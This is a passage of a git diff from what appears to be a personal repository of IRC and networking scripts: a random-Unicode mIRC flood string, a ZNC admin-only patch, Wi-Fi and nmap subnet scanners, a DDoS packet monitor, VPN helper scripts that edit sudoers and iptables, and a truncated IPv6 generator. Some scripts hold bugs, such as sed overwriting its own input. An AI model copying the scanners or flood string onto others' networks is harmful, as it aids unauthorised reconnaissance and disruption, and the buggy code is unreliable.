elseif ($len($base($1,10,2)) < 12) { return $+($chr($calc(192 + $div($1,64))),$chr($calc(128 + [ $1 % 64 ] ))) }
|
||||
elseif ($len($base($1,10,2)) < 17) { return $+($chr($calc(224 + $div($1,4096))),$chr($calc(128 + [ $div($1,64) % 64 ] )),$chr($calc(128 + [ $1 % 64 ] ))) }
|
||||
elseif ($len($base($1,10,2)) < 22) {
|
||||
return $+($chr($calc(240 + $div($1,262144))),$chr($calc(128 + [ $div($1,4096) % 64 ] )),$chr($calc(128 + [ $div($1,64) % 64 ] )),$&
|
||||
$chr($calc(128 + [ $1 % 64 ] )))
|
||||
}
|
||||
}
|
||||
alias -l div { return $int($calc($1 / $2)) }
|
||||
alias UTF8 {
|
||||
if ($version >= 7) return $chr($1)
|
||||
else {
|
||||
var %x $base($1,10,2),%y $len(%x)
|
||||
if ($1 < 161) { return $chr($1) }
|
||||
elseif (%y < 12) { return $+($shift(11000000,$left(%x,-6)),$shift(10000000,$right(%x,6))) }
|
||||
elseif (%y < 17) { return $+($shift(11100000,$left(%x,-12)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) }
|
||||
elseif (%y < 22) {
|
||||
return $+($shift(11110000,$left(%x,-18)),$shift(10000000,$mid(%x,$iif(%y < 18,$+(-,%y),-18),6)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+
|
||||
|
||||
# ^ etc like 100+ times
|
175
irc/znc_isadmin_patch.diff
Normal file
175
irc/znc_isadmin_patch.diff
Normal file
@ -0,0 +1,175 @@
|
||||
user@linux ~/build/znc-acid $ git diff
|
||||
diff --git a/modules/controlpanel.cpp b/modules/controlpanel.cpp
|
||||
index 0b7796aa..edd14420 100644
|
||||
--- a/modules/controlpanel.cpp
|
||||
+++ b/modules/controlpanel.cpp
|
||||
@@ -319,12 +319,37 @@ class CAdminMod : public CModule {
|
||||
pUser->SetAltNick(sValue);
|
||||
PutModule("AltNick = " + sValue);
|
||||
} else if (sVar == "ident") {
|
||||
+
|
||||
+ // Don't need them changing this, used to identify them.
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
pUser->SetIdent(sValue);
|
||||
+
|
||||
PutModule("Ident = " + sValue);
|
||||
} else if (sVar == "realname") {
|
||||
+
|
||||
+ // Some BNC's put their link in the realname.
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
pUser->SetRealName(sValue);
|
||||
PutModule("RealName = " + sValue);
|
||||
} else if (sVar == "bindhost") {
|
||||
+
|
||||
+ // That code below is annoying. Just do this first.
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
if (!pUser->DenySetBindHost() || GetUser()->IsAdmin()) {
|
||||
if (sValue.Equals(pUser->GetBindHost())) {
|
||||
PutModule(t_s("This bind host is already set!"));
|
||||
@@ -607,9 +632,24 @@ class CAdminMod : public CModule {
|
||||
pNetwork->SetAltNick(sValue);
|
||||
PutModule("AltNick = " + pNetwork->GetAltNick());
|
||||
} else if (sVar.Equals("ident")) {
|
||||
+
|
||||
+ // Don't need them changing this, used to identify them.
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
pNetwork->SetIdent(sValue);
|
||||
PutModule("Ident = " + pNetwork->GetIdent());
|
||||
} else if (sVar.Equals("realname")) {
|
||||
+
|
||||
+ // Some BNC's put their link in the realname.
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
pNetwork->SetRealName(sValue);
|
||||
PutModule("RealName = " + pNetwork->GetRealName());
|
||||
} else if (sVar.Equals("bindhost")) {
|
||||
@@ -1022,6 +1062,11 @@ class CAdminMod : public CModule {
|
||||
CString sNetwork = sLine.Token(2);
|
||||
CUser* pUser = GetUser();
|
||||
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
if (sNetwork.empty()) {
|
||||
sNetwork = sUser;
|
||||
} else {
|
||||
@@ -1067,6 +1112,12 @@ class CAdminMod : public CModule {
|
||||
CString sNetwork = sLine.Token(2);
|
||||
CUser* pUser = GetUser();
|
||||
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
if (sNetwork.empty()) {
|
||||
sNetwork = sUser;
|
||||
} else {
|
||||
@@ -1149,6 +1200,12 @@ class CAdminMod : public CModule {
|
||||
CString sNetwork = sLine.Token(2);
|
||||
CString sServer = sLine.Token(3, true);
|
||||
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
if (sServer.empty()) {
|
||||
PutModule(
|
||||
t_s("Usage: AddServer <username> <network> <server> [[+]port] "
|
||||
@@ -1180,6 +1237,12 @@ class CAdminMod : public CModule {
|
||||
unsigned short uPort = sLine.Token(4).ToUShort();
|
||||
CString sPass = sLine.Token(5);
|
||||
|
||||
+ if (!GetUser()->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
if (sServer.empty()) {
|
||||
PutModule(
|
||||
t_s("Usage: DelServer <username> <network> <server> [[+]port] "
|
||||
diff --git a/src/ClientCommand.cpp b/src/ClientCommand.cpp
|
||||
index 44bcc324..81704ed1 100644
|
||||
--- a/src/ClientCommand.cpp
|
||||
+++ b/src/ClientCommand.cpp
|
||||
@@ -536,6 +536,14 @@ void CClient::UserCommand(CString& sLine) {
|
||||
PutStatus(t_f("Total: {1}, Joined: {2}, Detached: {3}, Disabled: {4}")(
|
||||
vChans.size(), uNumJoined, uNumDetached, uNumDisabled));
|
||||
} else if (sCommand.Equals("ADDNETWORK")) {
|
||||
+
|
||||
+ // Just them anyway.
|
||||
+ if (!m_pUser->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
if (!m_pUser->IsAdmin() && !m_pUser->HasSpaceForNewNetwork()) {
|
||||
PutStatus(t_s(
|
||||
"Network number limit reached. Ask an admin to increase the "
|
||||
@@ -569,6 +577,12 @@ void CClient::UserCommand(CString& sLine) {
|
||||
} else if (sCommand.Equals("DELNETWORK")) {
|
||||
CString sNetwork = sLine.Token(1);
|
||||
|
||||
+ if (!m_pUser->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
if (sNetwork.empty()) {
|
||||
PutStatus(t_s("Usage: DelNetwork <name>"));
|
||||
return;
|
||||
@@ -744,6 +758,11 @@ void CClient::UserCommand(CString& sLine) {
|
||||
} else if (sCommand.Equals("ADDSERVER")) {
|
||||
CString sServer = sLine.Token(1);
|
||||
|
||||
+ if (!m_pUser->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
if (!m_pNetwork) {
|
||||
PutStatus(t_s(
|
||||
"You must be connected with a network to use this command"));
|
||||
@@ -763,6 +782,11 @@ void CClient::UserCommand(CString& sLine) {
|
||||
"added or openssl is disabled?"));
|
||||
}
|
||||
} else if (sCommand.Equals("REMSERVER") || sCommand.Equals("DELSERVER")) {
|
||||
+ if (!m_pUser->IsAdmin()) {
|
||||
+ PutStatus(t_s(
|
||||
+ "You cannot do that."));
|
||||
+ return;
|
||||
+ }
|
||||
if (!m_pNetwork) {
|
||||
PutStatus(t_s(
|
||||
"You must be connected with a network to use this command"));
|
23
networking/ap.py
Normal file
23
networking/ap.py
Normal file
@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python
|
||||
import re, subprocess
|
||||
|
||||
interface = 'wlp1s0'
|
||||
|
||||
def between(source, start, stop):
|
||||
data = re.compile(start + '(.*?)' + stop, re.IGNORECASE|re.MULTILINE).search(source)
|
||||
if data : return data.group(1)
|
||||
else : return False
|
||||
|
||||
output = subprocess.check_output(f'sudo iwlist {interface} scanning | egrep \'Cell |Channel|Frequency|Encryption|Quality|ESSID|Mode\'', shell=True).decode()
|
||||
access_points = output.split(' Cell ')[1:]
|
||||
print('\033[30m\033[47mMAC Address Channel Frequency Quality Signal Mode Encryption ESSID\033[0m')
|
||||
for ap in access_points:
|
||||
address = between(ap, 'Address: ', '\n')
|
||||
channel = between(ap, 'Channel:', '\n').ljust(7)
|
||||
frequency = between(ap, 'Frequency:', ' GHz')[:3]
|
||||
quality = between(ap, 'Quality=', ' Signal')
|
||||
signal = between(ap, 'Signal level=', ' dBm')
|
||||
encryption = between(ap, 'Encryption key:', '\n').ljust(10)
|
||||
essid = between(ap, 'ESSID:\"', '\"\n')
|
||||
mode = between(ap, 'Mode:', '\n')
|
||||
print(f'{address} | {channel} | {frequency} GHz | {quality} | {signal} dBm | {mode} | {encryption} | {essid}')
|
27
networking/ddosmonit.sh
Normal file
27
networking/ddosmonit.sh
Normal file
@ -0,0 +1,27 @@
|
||||
#!/bin/sh
|
||||
interface=eth0
|
||||
dumpdir=/tmp/
|
||||
email="admin@domain.tld"
|
||||
subject="DDoS Notification: `hostname`"
|
||||
sender="admin@domain.tld"
|
||||
while /bin/true; do
|
||||
pkt_old=`grep $interface: /proc/net/dev | cut -d : -f2 | awk '{ print $2 }'`
|
||||
sleep 1
|
||||
pkt_new=`grep $interface: /proc/net/dev | cut -d : -f2 | awk '{ print $2 }'`
|
||||
pkt=$(( $pkt_new-$pkt_old ))
|
||||
echo -ne "\r$pkt packets/s\033[0K"
|
||||
if [ $pkt -gt 5000 ]; then
|
||||
filename=$dumpdir/dump.`date +"%Y%m%d-%H%M%S"`.cap
|
||||
tcpdump -n -s0 -c 2000 > $filename
|
||||
echo "`date` Packets dumped, sleeping now."
|
||||
sleep 1
|
||||
data=`cat $filename`
|
||||
sendmail -F $sender -it <<END_MESSAGE
|
||||
To: $email
|
||||
Subject: $subject
|
||||
`cat $filename`
|
||||
END_MESSAGE
|
||||
echo "sendmail complete"
|
||||
sleep 300
|
||||
fi
|
||||
done
|
38
networking/discover.py
Normal file
38
networking/discover.py
Normal file
@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python
|
||||
import subprocess
|
||||
|
||||
def portscan(ip):
|
||||
ports = list()
|
||||
try:
|
||||
cmd = subprocess.check_output('sudo nmap -F ' + ip, shell=True).decode()
|
||||
output = cmd.split('SERVICE')[1].split('MAC')[0].split('\n')
|
||||
for item in output:
|
||||
port = item.split('/')[0]
|
||||
if port and 'filtered' not in item:
|
||||
ports.append(port)
|
||||
return ports
|
||||
except:
|
||||
return None
|
||||
|
||||
def scanhosts(subnet):
|
||||
data = list()
|
||||
matrix = {'ip':list(),'host':list(),'ports':list()}
|
||||
cmd = subprocess.check_output(f'sudo nmap -sP {subnet}/24', shell=True).decode()
|
||||
output = cmd.split('Nmap scan report for ')[1:-1]
|
||||
for item in output:
|
||||
ip = item.split('\n')[0]
|
||||
ports = portscan(ip)
|
||||
ports = ', '.join(ports) if ports else 'N/A'
|
||||
mac = item.split('MAC Address: ')[1].split()[0]
|
||||
host = item.split(mac)[1].replace('(','').replace(')','')[1:-1]
|
||||
matrix['ip'].append(ip)
|
||||
matrix['host'].append(host)
|
||||
matrix['ports'].append(ports)
|
||||
data.append({'ip':ip,'mac':mac,'host':host,'ports':ports})
|
||||
for item in matrix:
|
||||
matrix[item] = len(max(matrix[item], key=len))
|
||||
print('\033[30m\033[47m{0} {1} {2} {3} \033[0m'.format('IP Address'.ljust(matrix['ip']), 'MAC Address ', 'Hostname'.ljust(matrix['host']), 'Ports'.ljust(matrix['ports'])))
|
||||
for item in data:
|
||||
print('{0} | {1} | {2} | {3}'.format(item['ip'].ljust(matrix['ip']), item['mac'], item['host'].ljust(matrix['host']), item['ports']))
|
||||
|
||||
scanhosts('10.0.0.0')
|
171
networking/mullvad.sh
Normal file
171
networking/mullvad.sh
Normal file
@ -0,0 +1,171 @@
|
||||
#!/bin/bash
|
||||
|
||||
DEFAULT_SERVER=0
|
||||
DISABLE_IPV6=1
|
||||
|
||||
function disable_ipv6 {
|
||||
sysctl -w net.ipv6.conf.all.disable_ipv6=0
|
||||
sysctl -w net.ipv6.conf.default.disable_ipv6=0
|
||||
sysctl -w net.ipv6.conf.lo.disable_ipv6=0
|
||||
}
|
||||
|
||||
function generate_config {
|
||||
if [ -f /etc/openvpn/client/mullvad/mullvad.conf ]; then
|
||||
sed '14s/.*/remote ${1}.mullvad.net ${2}/' /etc/openvpn/client/mullvad/mullvad.conf > /etc/openvpn/client/mullvad/mullvad.conf
|
||||
else
|
||||
echo "auth-user-pass auth
|
||||
ca ca.crt
|
||||
cipher AES-256-CBC
|
||||
client
|
||||
comp-lzo
|
||||
crl-verify crl.pem
|
||||
dev tun
|
||||
nobind
|
||||
persist-key
|
||||
persist-tun
|
||||
ping 10
|
||||
ping-restart 60
|
||||
proto udp
|
||||
remote ${1}.mullvad.net ${2}
|
||||
remote-cert-tls server
|
||||
resolv-retry infinite
|
||||
tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA
|
||||
tun-ipv6
|
||||
verb 3" > /etc/openvpn/client/mullvad/mullvad.conf
|
||||
fi
|
||||
}
|
||||
|
||||
function menu_auth {
|
||||
ACCOUNT_NUMBER=$(dialog --backtitle "Mullvad VPN Helper" --title "Login" --inputbox "Account Number:" 8 50 2>&1 >/dev/tty)
|
||||
clear
|
||||
echo -e "$ACCOUNT_NUMBER\nm" > /etc/openvpn/client/mullvad/auth
|
||||
chmod 600 /etc/openvpn/client/mullvad/auth
|
||||
chown root:root /etc/openvpn/client/mullvad/auth
|
||||
}
|
||||
|
||||
function menu_server {
|
||||
if [ $DEFAULT_SERVER -eq 0 ]; then
|
||||
OPTIONS=(1 "Random"
|
||||
2 "Austria (AT)"
|
||||
3 "Australia (AU)"
|
||||
4 "Belgium (BE)"
|
||||
5 "Bulgaria (BG)"
|
||||
6 "Canada (CA)"
|
||||
7 "Canada (CA) - Toronto"
|
||||
8 "Canada (CA) - Vancouver"
|
||||
9 "Czech Republic (CZ)"
|
||||
10 "Denmark (DK)"
|
||||
11 "Germany (DE)"
|
||||
12 "Germany (DE) - Berlin"
|
||||
13 "Germany (DE) - Frankfurt"
|
||||
14 "Finland (FI)"
|
||||
15 "France (FR)"
|
||||
16 "Hong Kong (HK)"
|
||||
17 "Hungary (HU)"
|
||||
18 "Israel (IL)"
|
||||
19 "Italy (IT)"
|
||||
20 "Japan (JP)"
|
||||
21 "Moldova (MD)"
|
||||
22 "Netherlands (NL)"
|
||||
23 "Norway (NO)"
|
||||
24 "Poland (PL)"
|
||||
25 "Portugual (PT)"
|
||||
26 "Romania (RO)"
|
||||
27 "Singapore (SG)"
|
||||
28 "Spain (ES)"
|
||||
29 "Sweden (SE)"
|
||||
30 "Sweden (SE) - Helsingborg"
|
||||
31 "Sweden (SE) - Malmö"
|
||||
32 "Sweden (SE) - Stockholm"
|
||||
33 "Switzerland (CH)"
|
||||
34 "United Kingdom (GB)"
|
||||
35 "United Kingdom (GB) - London"
|
||||
36 "United Kingdom (GB) - Manchester"
|
||||
37 "United States (US)"
|
||||
38 "United States (US) - Arizona"
|
||||
39 "United States (US) - California"
|
||||
40 "United States (US) - Florida"
|
||||
41 "United States (US) - Georgia"
|
||||
42 "United States (US) - Illinois"
|
||||
43 "United States (US) - Nevada"
|
||||
44 "United States (US) - New Jersey"
|
||||
45 "United States (US) - New York"
|
||||
46 "United States (US) - Texas"
|
||||
47 "United States (US) - Utah"
|
||||
48 "United States (US) - Washington"
|
||||
49 "United States (US) - Washington DC")
|
||||
CHOICE=$(dialog --clear --backtitle "Mullvad VPN Helper" --title "Connection" --menu "Select a regional server below:" 20 60 20 "${OPTIONS[@]}" 2>&1 >/dev/tty)
|
||||
clear
|
||||
if [ $CHOICE -eq 1 ]; then
|
||||
CHOICE=$(shuf -i 2-38 -n 1)
|
||||
fi
|
||||
elif [ $DEFAULT_SERVER == 1 ]; then
|
||||
CHOICE=$(shuf -i 2-38 -n 1)
|
||||
else
|
||||
CHOICE=$DEFAULT_SERVER
|
||||
fi
|
||||
case $CHOICE in
|
||||
2) generate_config "at" "1302";;
|
||||
3) generate_config "au" "1302";;
|
||||
4) generate_config "be" "1196";;
|
||||
5) generate_config "bg" "1195";;
|
||||
6) generate_config "ca" "1301";;
|
||||
7) generate_config "ca-bc" "1196";;
|
||||
8) generate_config "ca-on" "1196";;
|
||||
9) generate_config "cz" "1302";;
|
||||
10) generate_config "dk" "1197";;
|
||||
11) generate_config "de" "1195";;
|
||||
12) generate_config "de-ber" "1197";;
|
||||
13) generate_config "de-fra" "1301";;
|
||||
14) generate_config "fi" "1302";;
|
||||
15) generate_config "fr" "1301";;
|
||||
16) generate_config "hk" "1195";;
|
||||
17) generate_config "hu" "1194";;
|
||||
18) generate_config "il" "1197";;
|
||||
19) generate_config "it" "1196";;
|
||||
20) generate_config "jp" "1197";;
|
||||
21) generate_config "md" "1301";;
|
||||
22) generate_config "nl" "1195";;
|
||||
23) generate_config "no" "1194";;
|
||||
24) generate_config "pl" "1301";;
|
||||
25) generate_config "pt" "1301";;
|
||||
26) generate_config "ro" "1197";;
|
||||
27) generate_config "sg" "1302";;
|
||||
28) generate_config "es" "1194";;
|
||||
29) generate_config "se" "1195";;
|
||||
30) generate_config "se-hel" "1197";;
|
||||
31) generate_config "se-mma" "1194";;
|
||||
32) generate_config "se-sto" "1197";;
|
||||
33) generate_config "ch" "1195";;
|
||||
34) generate_config "gb" "1197";;
|
||||
35) generate_config "gb-lon" "1194";;
|
||||
36) generate_config "gb-mnc" "1302";;
|
||||
37) generate_config "us" "1196";;
|
||||
38) generate_config "us-az" "1194";;
|
||||
39) generate_config "us-ca" "1194";;
|
||||
40) generate_config "us-fl" "1195";;
|
||||
41) generate_config "us-ga" "1196";;
|
||||
42) generate_config "us-il" "1196";;
|
||||
43) generate_config "us-nv" "1302";;
|
||||
44) generate_config "us-nj" "1301";;
|
||||
45) generate_config "us-ny" "1195";;
|
||||
46) generate_config "us-tx" "1195";;
|
||||
47) generate_config "us-ut" "1196";;
|
||||
48) generate_config "us-wa" "1197";;
|
||||
49) generate_config "us-dc" "1302";;
|
||||
esac
|
||||
}
|
||||
|
||||
if [ $EUID -ne 0 ]; then
|
||||
echo "[!] - This script requires sudo privledges!"
|
||||
exit 1
|
||||
fi
|
||||
if [ ! -f /etc/openvpn/client/mullvad/auth ]; then
|
||||
menu_auth
|
||||
fi
|
||||
if [ $DISABLE_IPV6 -eq 1 ]; then
|
||||
disable_ipv6
|
||||
fi
|
||||
rm /etc/openvpn/client/mullvad/mullvad.conf
|
||||
menu_server
|
||||
openvpn --cd /etc/openvpn/client/mullvad --config mullvad.conf
|
217
networking/riseup.sh
Normal file
217
networking/riseup.sh
Normal file
@ -0,0 +1,217 @@
|
||||
#!/bin/bash
|
||||
|
||||
DEFAULT_PORT=0
|
||||
DEFAULT_PROTOCOL=0
|
||||
DISABLE_IPV6=1
|
||||
ENABLE_KILLSWITCH=0
|
||||
|
||||
function disable_ipv6 {
|
||||
if [ ! -f /etc/sysctl.d/99-vpn-disable-ipv6.conf ]; then
|
||||
echo "net.ipv6.conf.all.disable_ipv6=1" > /etc/sysctl.d/99-vpn-disable-ipv6.conf
|
||||
echo "net.ipv6.conf.default.disable_ipv6=1" >> /etc/sysctl.d/99-vpn-disable-ipv6.conf
|
||||
echo "net.ipv6.conf.lo.disable_ipv6=1" >> /etc/sysctl.d/99-vpn-disable-ipv6.conf
|
||||
sysctl -w net.ipv6.conf.all.disable_ipv6=1
|
||||
sysctl -w net.ipv6.conf.default.disable_ipv6=1
|
||||
sysctl -w net.ipv6.conf.lo.disable_ipv6=1
|
||||
fi
|
||||
}
|
||||
|
||||
function generate_config {
|
||||
if [ $DEFAULT_PORT == 0 ]; then
|
||||
CHOICE=$(dialog --clear --backtitle "RiseUp VPN Helper" --title "Connection" --menu "Select a connection port:" 20 60 20 1 "1194 (Recommended)" 2 "80" 3 "443" 2>&1 >/dev/tty)
|
||||
clear
|
||||
else
|
||||
CHOICE=$DEFAULT_PORT
|
||||
fi
|
||||
case $CHOICE in
|
||||
1) PROTO="1194";;
|
||||
2) PROTO="80";;
|
||||
3) PROTO="443";;
|
||||
esac
|
||||
if [ $DEFAULT_PROTOCOL == 0 ]; then
|
||||
CHOICE=$(dialog --clear --backtitle "RiseUp VPN Helper" --title "Connection" --menu "Select a connection protocol:" 20 60 20 1 "UDP (Recommended)" 2 "TCP" 2>&1 >/dev/tty)
|
||||
clear
|
||||
else
|
||||
CHOICE=$DEFAULT_PROTOCOL
|
||||
fi
|
||||
case $CHOICE in
|
||||
1) PROTO="udp";;
|
||||
2) PROTO="tcp";;
|
||||
esac
|
||||
echo "auth SHA256
|
||||
auth-user-pass auth
|
||||
ca ca.pem
|
||||
cipher AES-256-CBC
|
||||
client
|
||||
comp-lzo
|
||||
dev tun0
|
||||
down /etc/openvpn/scripts/update-systemd-resolved
|
||||
down-pre
|
||||
group vpn
|
||||
iproute /usr/local/sbin/unpriv-ip
|
||||
mute 3
|
||||
nobind
|
||||
persist-key
|
||||
persist-tun
|
||||
proto $PROTO
|
||||
remote vpn.riseup.net $PORT
|
||||
remote-cert-tls server
|
||||
reneg-sec 0
|
||||
resolv-retry infinite
|
||||
script-security 2
|
||||
setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
tls-client
|
||||
tls-version-min 1.2
|
||||
up /etc/openvpn/scripts/update-systemd-resolved
|
||||
user vpn
|
||||
verb 4" > /etc/openvpn/client/riseup/riseup.conf
|
||||
}
|
||||
|
||||
function killswitch {
|
||||
if [ -f /etc/iptables/vpn-rules.v4 ]; then
|
||||
iptables-restore < /etc/iptables/vpn-rules.v4
|
||||
else
|
||||
iptables -F
|
||||
iptables -X
|
||||
iptables -Z
|
||||
iptables -t filter -F
|
||||
iptables -t filter -X
|
||||
iptables -t mangle -F
|
||||
iptables -t mangle -X
|
||||
iptables -t nat -F
|
||||
iptables -t nat -X
|
||||
iptables -t raw -F
|
||||
iptables -t raw -X
|
||||
iptables -t security -F
|
||||
iptables -t security -X
|
||||
iptables -P OUTPUT DROP
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD DROP
|
||||
iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A INPUT -i tun+ -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
iptables -A OUTPUT -d 172.27.0.1 -j ACCEPT
|
||||
iptables -A OUTPUT -p -m --dport -j ACCEPT
|
||||
iptables -A OUTPUT -o tun+ -j ACCEPT
|
||||
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT
|
||||
iptables -A OUTPUT -d 192.168.1.0/24 -j ACCEPT
|
||||
iptables -A OUTPUT -j REJECT --reject-with icmp-net-unreachable
|
||||
iptables-save > /etc/iptables/vpn-rules.v4
|
||||
fi
|
||||
if [ $DISABLE_IPV6 -eq 1 ]; then
|
||||
if [ -f /etc/iptables/vpn-rules.v6 ]; then
|
||||
ip6tables-restore < /etc/iptables/vpn-rules.v6
|
||||
else
|
||||
ip6tables -F
|
||||
ip6tables -X
|
||||
ip6tables -Z
|
||||
ip6tables -t filter -F
|
||||
ip6tables -t filter -X
|
||||
ip6tables -t mangle -F
|
||||
ip6tables -t mangle -X
|
||||
ip6tables -t nat -F
|
||||
ip6tables -t nat -X
|
||||
ip6tables -t raw -F
|
||||
ip6tables -t raw -X
|
||||
ip6tables -t security -F
|
||||
ip6tables -t security -X
|
||||
ip6tables -P OUTPUT DROP
|
||||
ip6tables -P INPUT DROP
|
||||
ip6tables -P FORWARD DROP
|
||||
ip6tables-save > /etc/iptables/vpn-rules.v6
|
||||
fi
|
||||
fi
|
||||
|
||||
}
|
||||
|
||||
function menu_auth {
|
||||
USERNAME=$(dialog --backtitle "RiseUp VPN Helper" --title "Login" --inputbox "Username:" 8 50 2>&1 >/dev/tty)
|
||||
PASSWORD=$(dialog --backtitle "RiseUp VPN Helper" --title "Login" --clear --passwordbox "Password" 8 50 2>&1 >/dev/tty)
|
||||
clear
|
||||
echo -e "$USERNAME\n$PASSWORD" > /etc/openvpn/client/riseup/auth
|
||||
chmod 600 /etc/openvpn/client/riseup/auth
|
||||
chown root:root /etc/openvpn/client/riseup/auth
|
||||
}
|
||||
|
||||
function secure_dns {
|
||||
if [ ! -f /etc/openvpn/scripts/update-systemd-resolved ]; then
|
||||
mkdir -p /etc/openvpn/scripts
|
||||
wget -O /etc/openvpn/scripts/update-systemd-resolved https://raw.githubusercontent.com/jonathanio/update-systemd-resolved/master/update-systemd-resolved
|
||||
chmod 750 /etc/openvpn/scripts/update-systemd-resolved
|
||||
fi
|
||||
if [ -f /etc/nsswitch.conf ]; then
|
||||
if ! grep -q "hosts: files resolve myhostname" /etc/nsswitch.conf; then
|
||||
sed 's/hosts:.*/hosts: files resolve myhostname/' /etc/nsswitch.conf > /etc/nsswitch.conf
|
||||
fi
|
||||
else
|
||||
echo "[!] - Failed to locate /etc/nsswitch.conf file!"
|
||||
exit 1
|
||||
fi
|
||||
if ! $(/usr/bin/systemctl -q is-active systemd-resolved.service); then
|
||||
systemctl start systemd-resolved
|
||||
fi
|
||||
if ! $(/usr/bin/systemctl -q is-enabled systemd-resolved.service); then
|
||||
systemctl enable systemd-resolved
|
||||
fi
|
||||
}
|
||||
|
||||
function setup {
|
||||
pacman -S dialog openvpn screen sudo
|
||||
mkdir -p /var/lib/openvpn
|
||||
if ! id vpn >/dev/null 2>&1; then
|
||||
useradd -r -d /var/lib/openvpn -s /usr/bin/nologin vpn
|
||||
fi
|
||||
if [ ! $(getent group vpn) ]; then
|
||||
groupadd vpn
|
||||
fi
|
||||
if ! getent group vpn | grep &>/dev/null "\bvpn\b"; then
|
||||
gpasswd -a vpn vpn
|
||||
fi
|
||||
chown vpn:vpn /var/lib/openvpn
|
||||
if [ -f /etc/sudoers ]; then
|
||||
if ! grep -q "vpn ALL=(ALL) NOPASSWD: /sbin/ip" /etc/sudoers; then
|
||||
echo -e "\nvpn ALL=(ALL) NOPASSWD: /sbin/ip" >> /etc/sudoers
|
||||
fi
|
||||
if ! grep -q "Defaults:vpn !requiretty" /etc/sudoers; then
|
||||
echo -e "\nDefaults:vpn !requiretty" >> /etc/sudoers
|
||||
fi
|
||||
else
|
||||
echo "[!] - Failed to locate /etc/sudoers file!"
|
||||
exit 1
|
||||
fi
|
||||
if [ ! -f /usr/local/sbin/unpriv-ip ]; then
|
||||
echo "#!/bin/sh" > /usr/local/sbin/unpriv-ip
|
||||
echo "sudo /sbin/ip \$*" >> /usr/local/sbin/unpriv-ip
|
||||
chmod 755 /usr/local/sbin/unpriv-ip
|
||||
fi
|
||||
if [ ! -f /etc/openvpn/openvpn-startup ]; then
|
||||
echo "#!/bin/sh" > /etc/openvpn/openvpn-startup
|
||||
echo "openvpn --rmtun --dev tun0" >> /etc/openvpn/openvpn-startup
|
||||
echo "openvpn --mktun --dev tun0 --dev-type tun --user vpn --group vpn" >> /etc/openvpn/openvpn-startup
|
||||
chmod 755 /etc/openvpn/openvpn-startup
|
||||
fi
|
||||
if [ -d /etc/openvpn/client/riseup ]; then
|
||||
rm -r /etc/openvpn/client/riseup
|
||||
fi
|
||||
mkdir /etc/openvpn/client/riseup
|
||||
wget -O /etc/openvpn/client/riseup/ca.pem https://riseup.net/security/network-security/riseup-ca/RiseupCA.pem
|
||||
menu_auth
|
||||
}
|
||||
|
||||
if [ $EUID -ne 0 ]; then
|
||||
echo "[!] - This script requires sudo privledges!"
|
||||
exit 1
|
||||
fi
|
||||
if [ ! -d /etc/openvpn/client/riseup ]; then
|
||||
setup
|
||||
generate_config
|
||||
fi
|
||||
secure_dns
|
||||
if [ $DISABLE_IPV6 -eq 1 ]; then
|
||||
disable_ipv6
|
||||
fi
|
||||
openvpn --cd /etc/openvpn/client/riseup --config riseup.conf
|
||||
if [ $ENABLE_KILLSWITCH -eq 1 ]; then
|
||||
killswitch
|
||||
fi
|
13
networking/v6gen.py
Normal file
13
networking/v6gen.py
Normal file
@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python
|
||||
# IPv6 Generator - Developed by acidvegas in Python (https://acid.vegas/random))
|
||||
import os,random
|
||||
interface = 'eth0'
|
||||
subnet = '2607:5300:201:3000:'
|
||||
def randstr(size) : return ''.join(random.sample(('1234567890ABCDEF'), size))
|
||||
def randv6(subnet) : return f'{subnet}{randstr(4)}:{randstr(4)}:{randstr(4)}:{randstr(4)}'
|
||||
def v6(action,address,interface) : os.system(f'sudo ip addr {action} {address} dev {interafce}')
|
||||
for i in range(50):
|
||||
